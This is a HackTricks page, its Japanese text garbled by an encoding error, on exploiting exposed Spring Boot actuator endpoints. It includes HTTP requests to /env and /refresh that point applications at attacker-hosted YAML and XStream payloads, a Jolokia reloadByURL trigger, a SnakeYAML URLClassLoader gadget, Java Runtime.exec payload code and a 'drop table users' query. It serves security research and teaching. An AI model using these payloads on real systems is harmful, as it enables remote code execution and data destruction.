# Spring Actuators
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* **ãµã€ããŒã»ãã¥ãªãã£äŒæ¥**ã§åããŠããŸããïŒ **HackTricksã§äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ãã
* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**ãã¬ã°ã©ã ã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ã**
* **ãããã³ã°ã®ããªãã¯ãå
±æããã«ã¯ãPRã** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«æåºããŠãã ããã**
## **Spring Auth Bypass**
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
## Spring Boot Actuatorsã®æªçš
**[https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)ããã³ããŒãããŸããã
Spring Bootãã¬ãŒã ã¯ãŒã¯ã«ã¯ããããã¯ã·ã§ã³ã«ããã·ã¥ããéã«Webã¢ããªã±ãŒã·ã§ã³ãç£èŠããã³ç®¡çããããã®æ©èœã§ããã¢ã¯ãã¥ãšãŒã¿ãããã€ãå«ãŸããŠããŸããç£æ»ããã«ã¹ãããã³ã¡ããªã¯ã¹ã®åéã«äœ¿çšããããšãæå³ããŠããŸããã誀ã£ãèšå®ã§ãµãŒããŒãžã®é ããã¢ãéãããšããããŸãã
Spring Bootã¢ããªã±ãŒã·ã§ã³ãå®è¡ãããŠãããšããèªåçã«ããã€ãã®ãšã³ããã€ã³ãïŒ'/health'ã'/trace'ã'/beans'ã'/env'ãªã©ïŒãã«ãŒãã£ã³ã°ããã»ã¹ã«ç»é²ãããŸããSpring Boot 1 - 1.4ã§ã¯ããããã®ãšã³ããã€ã³ãã¯èªèšŒãªãã§ã¢ã¯ã»ã¹å¯èœã§ãããã»ãã¥ãªãã£äžã®é倧ãªåé¡ãåŒãèµ·ãããŸããSpringããŒãžã§ã³1.5以éã§ã¯ã'/health'ãš'/info'以å€ã®ãã¹ãŠã®ãšã³ããã€ã³ãã¯ããã©ã«ãã§ã»ã³ã·ãã£ããšèŠãªãããããã©ã«ãã§ã»ãã¥ãªãã£ãæå¹ã«ãªã£ãŠããŸããããã®ã»ãã¥ãªãã£ã¯ã¢ããªã±ãŒã·ã§ã³éçºè
ã«ãã£ãŠãã°ãã°ç¡å¹ã«ãããŠããŸãã
以äžã®ã¢ã¯ãã¥ãšãŒã¿ãšã³ããã€ã³ãã¯ãæœåšçãªè匱æ§ã«ã€ãªããã»ãã¥ãªãã£äžã®åé¡ãåŒãèµ·ããå¯èœæ§ããããŸãïŒ
* /dump - ã¹ã¬ããã®ãã³ãïŒã¹ã¿ãã¯ãã¬ãŒã¹ãå«ãïŒã衚瀺ããŸãã
* /trace - çŽè¿ã®ããã€ãã®HTTPã¡ãã»ãŒãžïŒã»ãã·ã§ã³èå¥åãå«ãå ŽåããããŸãïŒã衚瀺ããŸãã
* /logfile - ãã°ãã¡ã€ã«ã®å
容ãåºåããŸãã
* /shutdown - ã¢ããªã±ãŒã·ã§ã³ãã·ã£ããããŠã³ããŸãã
* /mappings - ãã¹ãŠã®MVCã³ã³ãããŒã©ãŒãããã³ã°ã衚瀺ããŸãã
* /env - èšå®ç°å¢ã«ã¢ã¯ã»ã¹ããŸãã
* /actuator/env
* /restart - ã¢ããªã±ãŒã·ã§ã³ãåèµ·åããŸãã
* /heapdump - ã¢ããªã±ãŒã·ã§ã³ã§äœ¿çšãããJVMããããŒããã³ããäœæããŠè¿ããŸãã
Spring 1xã§ã¯ããããã¯ã«ãŒãURLã«ç»é²ããã2xã§ã¯"/actuator/"ããŒã¹ãã¹ã«ç§»åããŸããã
**æªçšæ¹æ³ïŒ**
ã¢ã¯ãã¥ãšãŒã¿ã®ã»ãšãã©ã¯GETãªã¯ãšã¹ãã®ã¿ããµããŒãããåã«æ©å¯æ
å ±ãå
¬éããŸãããããã€ãã®ã¢ã¯ãã¥ãšãŒã¿ã¯ã·ã§ã«ãã³ã¿ãŒã«ãšã£ãŠç¹ã«èå³æ·±ãã§ãïŒ
**1. '/jolokia'ãä»ãããªã¢ãŒãã³ãŒãå®è¡**
ã¿ãŒã²ããã¢ããªã±ãŒã·ã§ã³ã®ã¯ã©ã¹ãã¹ã«Jolokiaã©ã€ãã©ãªãããå ŽåãSpring Bootã¯èªåçã«'/jolokia'ã¢ã¯ãã¥ãšãŒã¿ãšã³ããã€ã³ãã®äžã§ãããå
¬éããŸããJolokiaã¯ãã¹ãŠã®ç»é²ãããMBeanãžã®HTTPã¢ã¯ã»ã¹ãèš±å¯ããJMXã§å®è¡ã§ããæäœãšåãæäœãå®è¡ããããã«èšèšãããŠããŸãã次ã®URLã䜿çšããŠå©çšå¯èœãªãã¹ãŠã®MBeanã¢ã¯ã·ã§ã³ããªã¹ãã¢ããããããšãã§ããŸãïŒ
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
å床ãã»ãšãã©ã®MBeanã¢ã¯ã·ã§ã³ã¯ã·ã¹ãã ããŒã¿ãå
¬éããã ãã§ããã1ã€ã¯ç¹ã«èå³æ·±ãã§ãïŒ
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_jolokia.png)
Logbackã©ã€ãã©ãªãæäŸãã '**reloadByURL**'ã¢ã¯ã·ã§ã³ã¯ãå€éšURLãããã°èšå®ãåèªã¿èŸŒã¿ããããšãå¯èœã«ããŸãã次ã®ããã«ããªã¬ãŒããããšãã§ããŸãïŒ[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
ã§ã¯ããªããã°èšå®ã«é¢å¿ãæã€å¿
èŠãããã®ã§ããããïŒäž»ã«2ã€ã®çç±ããããŸãïŒ
1. èšå®ã¯XML圢åŒã§ããããã¡ããLogbackã¯å€éšãšã³ãã£ãã£ãæå¹ã«ããŠè§£æããŸãããããã£ãŠãç²ç®çãªXXEã®è匱æ§ããããŸãã
2. Logbackã®èšå®ã«ã¯ã['JNDIããå€æ°ãååŸãã'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)ãšããæ©èœããããŸããXMLãã¡ã€ã«ã§ã¯ã '**\**'ã®ãããªã¿ã°ãå«ããããšãã§ããnameå±æ§ã¯DirContext.lookup()ã¡ãœããã«æž¡ãããŸãã.lookup()é¢æ°ã«ä»»æã®ååãæå®ã§ããå ŽåãXXEãHeapDumpããå¿
èŠãããŸãããå®å
šãª**ãªã¢ãŒãã³ãŒãå®è¡**ãå¯èœã§ãã
**åäœåçïŒ**
1. æ»æè
ã¯ã'qos.logback.classic.jmx.JMXConfigurator'ã¯ã©ã¹ãæäŸãã'reloadByURL'é¢æ°ãå®è¡ããããã«ãåè¿°ã®URLããªã¯ãšã¹ãããŸãã
2. 'reloadByURL'é¢æ°ã¯ã[http://artsploit.com/logback.xml](http://artsploit.com/logback.xml)ããæ°ããèšå®ãããŠã³ããŒãããLogbackèšå®ãšããŠè§£æããŸãããã®æªæã®ããèšå®ã«ã¯ã
```
```
3\. ãã®ãã¡ã€ã«ãè匱ãªãµãŒããŒã§è§£æããããšããenv-entry-nameããã©ã¡ãŒã¿å€ã§æå®ãããæ»æè
ãå¶åŸ¡ããLDAPãµãŒããŒãžã®æ¥ç¶ãäœæãããJNDI解決ãè¡ãããŸããæªæã®ããLDAPãµãŒããŒã¯ãã¿ãŒã²ããã¢ããªã±ãŒã·ã§ã³äžã§æäŸããããã€ãã³ãŒãã®å®è¡ãããªã¬ãŒããããã«ãReferenceãã¿ã€ãã®ãªããžã§ã¯ããè¿ãå¯èœæ§ããããŸããJNDIæ»æã«ã€ããŠã¯ããã®[MicroFocusã®ç 究è«æ](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)ã§è©³ãã説æãããŠããŸãã[æ°ããJNDIæ»ææè¡](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)ïŒä»¥åã®ããã°ã§èª¬æãããŠããïŒãããã§æ©èœããŸãããªããªããSpring Bootãã¬ãŒã ã¯ãŒã¯ã§ã¯Tomcatãããã©ã«ãã®ã¢ããªã±ãŒã·ã§ã³ãµãŒããŒã ããã§ãã
**2. '/env'ãä»ããèšå®ã®å€æŽ**
Spring Cloud Librariesãã¯ã©ã¹ãã¹ã«ããå Žåã**'/env'**ãšã³ããã€ã³ãã䜿çšããŠSpringã®ç°å¢ããããã£ãå€æŽããããšãã§ããŸãã '**@ConfigurationProperties**'ã§æ³šéä»ãããããã¹ãŠã®ããŒã³ãå€æŽããã³åãã€ã³ãããããšãã§ããŸããå¶åŸ¡ã§ããããããã£ã®äžéšã¯ã'/configprops'ã¢ã¯ãã¥ãšãŒã¿ãšã³ããã€ã³ãã«ãªã¹ããããŠããŸããããã¹ãŠã§ã¯ãããŸãããå®éã«ã¯ããããããããŸãããäœãå€æŽããã°ç®çãéæã§ããã®ãã¯å
šãæ確ã§ã¯ãããŸãããããããšéãã§æ°æ¥ãéãããåŸãç§ãã¡ã¯ãããèŠã€ããŸããïŒ
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
ãã®ããããã£ã¯ãEurekaãµãŒãã¹URLãä»»æã®å€ã«å€æŽããŸããEurekaãµãŒããŒã¯éåžžããã£ã¹ã«ããªãŒãµãŒããŒãšããŠäœ¿çšãããã»ãšãã©ã®Spring Cloudã¢ããªã±ãŒã·ã§ã³ãç»é²ããã¹ããŒã¿ã¹ã®æŽæ°ãéä¿¡ããŸããã¿ãŒã²ããã®ã¯ã©ã¹ãã¹ã«Eureka-Client <1.8.7ãããå ŽåïŒéåžžãSpring Cloud Netflixã«å«ãŸããŠããŸãïŒãããã«ã¯**XStreamãã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ã®è匱æ§**ããããŸããè¡ãå¿
èŠãããã®ã¯ã'/env'çµç±ã§ 'eureka.client.serviceUrl.defaultZone'ããããã£ããµãŒããŒã®URLïŒ[http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)ïŒã«èšå®ãããã®åŸ '/refresh'ãšã³ããã€ã³ããåŒã³åºãããšã§ãããã®åŸããµãŒããŒã¯æ¬¡ã®ã³ã³ãã³ããæã€XStreamãã€ããŒããæäŸããã¯ãã§ãïŒ
```markup
/Applications/Calculator.app/Contents/MacOS/Calculator
false
java.lang.ProcessBuilder
start
foo
foo
```
ãã®XStreamãã€ããŒãã¯ã[Marshalsecã®ç 究](https://github.com/mbechler/marshalsec)ããã®ImageIO JDKã®ã¿ã®ã¬ãžã§ãããã§ãŒã³ã®ãããã«å€æŽãããããŒãžã§ã³ã§ããããã§ã®å¯äžã®éãã¯ã'jdk.nashorn.internal.objects.NativeString.hashCode()'ã¡ãœãããããªã¬ãŒããããã«**LinkedHashSet**ã䜿çšããããšã§ããå
ã®ãã€ããŒãã¯java.lang.Mapãå©çšããŠåãåäœãå®çŸããŸãããEurekaã®XStreamæ§æã«ã¯[ãããã®ããã®ã«ã¹ã¿ã ã³ã³ããŒã¿](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58)ãããããã䜿çšã§ããŸãããäžèšã®ãã€ããŒãã¯ãããã䜿çšãããè¿œå ã®å¶çŽãªãã§ãªã¢ãŒãã³ãŒãå®è¡ãéæããããã«äœ¿çšã§ããŸãã
Spring Actuatorsã䜿çšãããšãå
éšã®EurekaãµãŒããŒã«ã¢ã¯ã»ã¹ã§ããªããŠãããã®è匱æ§ãå®éã«æªçšããããšãã§ããŸããå¿
èŠãªã®ã¯ãå©çšå¯èœãª"/env"ãšã³ããã€ã³ãã ãã§ãã
**ãã®ä»ã®äŸ¿å©ãªèšå®:**
**spring.datasource.tomcat.validationQuery=drop+table+users** - ä»»æã®SQLã¯ãšãªãæå®ã§ããçŸåšã®ããŒã¿ããŒã¹ã«èªåçã«å®è¡ãããŸããæ¿å
¥ãæŽæ°ãåé€ãªã©ã®ã¹ããŒãã¡ã³ããå«ããããšãã§ããŸãã
![Spring Boot Actuatorsã®Drop Tableã®æªçš](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - çŸåšã®JDBCæ¥ç¶æååãå€æŽã§ããŸãã
æåŸã®ãã®ã¯çŽ æŽãããããã«èŠããŸãããããŒã¿ããŒã¹æ¥ç¶ãå®è¡ããŠããã¢ããªã±ãŒã·ã§ã³ãæ¢ã«ç¢ºç«ãããŠããå ŽåãJDBCæååãæŽæ°ããã ãã§ã¯å¹æããããŸããã幞ããªããšã«ããã®å Žåã«åœ¹ç«ã€å¥ã®ããããã£ããããŸãã
**spring.datasource.tomcat.max-active**=777
ããã§äœ¿çšã§ããããªãã¯ã¯ãããŒã¿ããŒã¹ãžã®åææ¥ç¶æ°ãå¢ããããšã§ãããããã£ãŠãJDBCæ¥ç¶æååãå€æŽããæ¥ç¶æ°ãå¢ããããã®åŸãã¢ããªã±ãŒã·ã§ã³ã«å€ãã®ãªã¯ãšã¹ããéä¿¡ããŠè² è·ãã·ãã¥ã¬ãŒãããŸããè² è·ã®äžã§ãã¢ããªã±ãŒã·ã§ã³ã¯æŽæ°ãããæªæã®ããJDBCæååã§æ°ããããŒã¿ããŒã¹æ¥ç¶ãäœæããŸããç§ã¯ãã®ãã¯ããã¯ãããŒã«ã«ã§Mysqlã«å¯ŸããŠãã¹ãããŸããããããŸãåäœããŸãã
![Spring Boot Actuatorsã®Max Activeã®æªçš](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
ãã以å€ã«ãèå³æ·±ãããããã£ããããŸãããå®éã«ã¯ããŸã圹ã«ç«ã¡ãŸããã
**spring.datasource.url** - ããŒã¿ããŒã¹æ¥ç¶æååïŒæåã®æ¥ç¶ã®ã¿äœ¿çšïŒ
**spring.datasource.jndiName** - ããŒã¿ããŒã¹ã®JNDIæååïŒæåã®æ¥ç¶ã®ã¿äœ¿çšïŒ
**spring.datasource.tomcat.dataSourceJNDI** - ããŒã¿ããŒã¹ã®JNDIæååïŒå
šã䜿çšãããŸããïŒ
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - Spring Cloud Configã®URLïŒã¢ããªã±ãŒã·ã§ã³ã®éå§åŸã«ã¯äœã®å¹æããããŸãããåæå€ã®ã¿ã䜿çšãããŸããïŒ
ãããã®ããããã£ã¯ã'/restart'ãšã³ããã€ã³ããåŒã³åºãããªãéããäœã®å¹æããããŸããããã®ãšã³ããã€ã³ãã¯ããã©ã«ãã§ç¡å¹ã«ãªã£ãŠããŸãã
ä»ã«ãèå³æ·±ãããããã£ã¯ãããããããŸãããã»ãšãã©ã¯å€æŽåŸã«çŽã¡ã«å¹æããããŸããã
**泚èš** Spring Boot 2xã§ã¯ã'/env'ãšã³ããã€ã³ããä»ããŠããããã£ãå€æŽããããã®ãªã¯ãšã¹ã圢åŒããããã«ç°ãªããŸãïŒjson圢åŒã䜿çšããŸãïŒããããã¢ã€ãã¢ã¯åãã§ãã
**è匱ãªã¢ããªã®äŸ:**
ãã®è匱æ§ãããŒã«ã«ã§ãã¹ããããå Žåã¯ã[GithubããŒãžã§ç°¡åãªSpring Bootã¢ããªã±ãŒã·ã§ã³ãäœæããŸãã](https://github.com/artsploit/actuator-testbed)ãããŒã¿ããŒã¹ã®èšå®ãæ§æããªãéãããã¹ãŠã®ãã€ããŒããããã§åäœããã¯ãã§ãã
**ãã©ãã¯ããã¯ã¹ã®çºèŠ:**
ããã©ã«ãã®ã¢ã¯ãã¥ãšãŒã¿ã®å®å
šãªãªã¹ãã¯ãã¡ãã§èŠã€ããããšãã§ããŸã: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)ãã¢ããªã±ãŒã·ã§ã³éçºè
ã¯@Endpointã¢ãããŒã·ã§ã³ã䜿çšããŠç¬èªã®ãšã³ããã€ã³ããäœæããããšãã§ããããšã«æ³šæããŠãã ããã
**2019幎5æã®æŽæ°:**
Springã®ç°å¢ããããã£ã®å€æŽãä»ããŠããä¿¡é Œæ§ã®é«ãRCEãéæããæ¹æ³ããããŸãã
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
```
ãã®ãªã¯ãšã¹ãã¯ã'spring.cloud.bootstrap.location' ããããã£ãå€æŽããŸãããã®ããããã£ã¯ãå€éšã®èšå®ãèªã¿èŸŒãã§YAML圢åŒã§è§£æããããã«äœ¿çšãããŸãããããå®çŸããããã«ã¯ã'/refresh' ãšã³ããã€ã³ããåŒã³åºãå¿
èŠããããŸãã
```
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
ãªã¢ãŒããµãŒããŒããYAMLæ§æãååŸããããšãããã¯SnakeYAMLã©ã€ãã©ãªã䜿çšããŠè§£æãããŸãããã®ã©ã€ãã©ãªããã·ãªã¢ã©ã€ãŒãŒã·ã§ã³æ»æã®è匱æ§ããããŸãããã€ããŒãïŒyaml-payload.ymlïŒã¯ãåè¿°ã®Marshalsecã®ç 究ã䜿çšããŠçæãããå¯èœæ§ããããŸãã
```
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
```
ãã®ãã¡ã€ã«ã®éã·ãªã¢ã«åã¯ãæå®ãããURLClassLoaderã䜿çšããŠScriptEngineManagerã®ã³ã³ã¹ãã©ã¯ã¿ãå®è¡ããŸããèŠããã«ãã¯ã©ã¹ãã¹å
ã®ãã¹ãŠã®ã©ã€ãã©ãªã§'ScriptEngineFactory'ã€ã³ã¿ãŒãã§ãŒã¹ã®å®è£
ãèŠã€ããããšãã**'java.util.ServiceLoader#load(java.lang.Class\, java.lang.ClassLoader)'**ã¡ãœããã«ã€ãªãããŸããURLClassLoaderãä»ããŠæ°ããã©ã€ãã©ãªãè¿œå ã§ãããããæªæã®ãããã€ãã³ãŒããå«ãæ°ãã'ScriptEngineFactory'ãæäŸããããšãã§ããŸãããã®ããã«ã¯ã次ã®å¿
é ãã¡ã€ã«ãå«ãjarã¢ãŒã«ã€ããäœæããå¿
èŠããããŸãïŒ[yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java)ã¯ãå®éã®ãã€ãã³ãŒããå«ã¿ãã³ã³ã¹ãã©ã¯ã¿ã«æªæã®ãããã€ããŒããå«ãŸããŠããã¹ãã§ãã
```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
```
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory)ã¯ãåã« 'artsploit.AwesomeScriptEngineFactory' ãžã®å®å
šãªåç
§ãå«ãããã¹ããã¡ã€ã«ã§ããå¿
èŠããããŸããããã«ãããServiceLoaderãã¯ã©ã¹ **artsploit.AwesomeScriptEngineFactory** ãèŠã€ããå Žæãç¥ãããšãã§ããŸãããã®æ»ææè¡ã¯ãSpring Cloudãã¯ã©ã¹ãã¹ã«ããããšãå¿
èŠã§ãããEurekaã®XStreamãã€ããŒããšæ¯èŒããŠãææ°ããŒãžã§ã³ã§ãæ©èœããŸããå®å
šãªãã€ããŒãã¯ãç§ã®GitHubãããžã§ã¯ã [yaml-payload](https://github.com/artsploit/yaml-payload) ã§èŠã€ããããšãã§ããŸãã
## Env + H2 RCE
/env + H2ã®çµã¿åãããæªçšããæ¹æ³ã«ã€ããŠã¯ã次ã®ããŒãžãåç
§ããŠãã ããïŒ[https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## è¿œå æ
å ±
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* **ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ** HackTricksã§**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**ææ°ããŒãžã§ã³ã®PEASSã«ã¢ã¯ã»ã¹**ãããã§ããïŒãŸãã¯ã**HackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç§ãã¡ã®ç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³
* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸããã
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**Telegramã°ã«ãŒã**](https://t.me/peass)ã«åå ãããã**Twitter** [**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ããã©ããŒ**ããŠãã ããã
* **ãããã³ã°ã®ããªãã¯ãå
±æãã**ããã«ã[**hacktricks repo**](https://github.com/carlospolop/hacktricks)ãš[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)ã«PRãæåºããŠãã ããã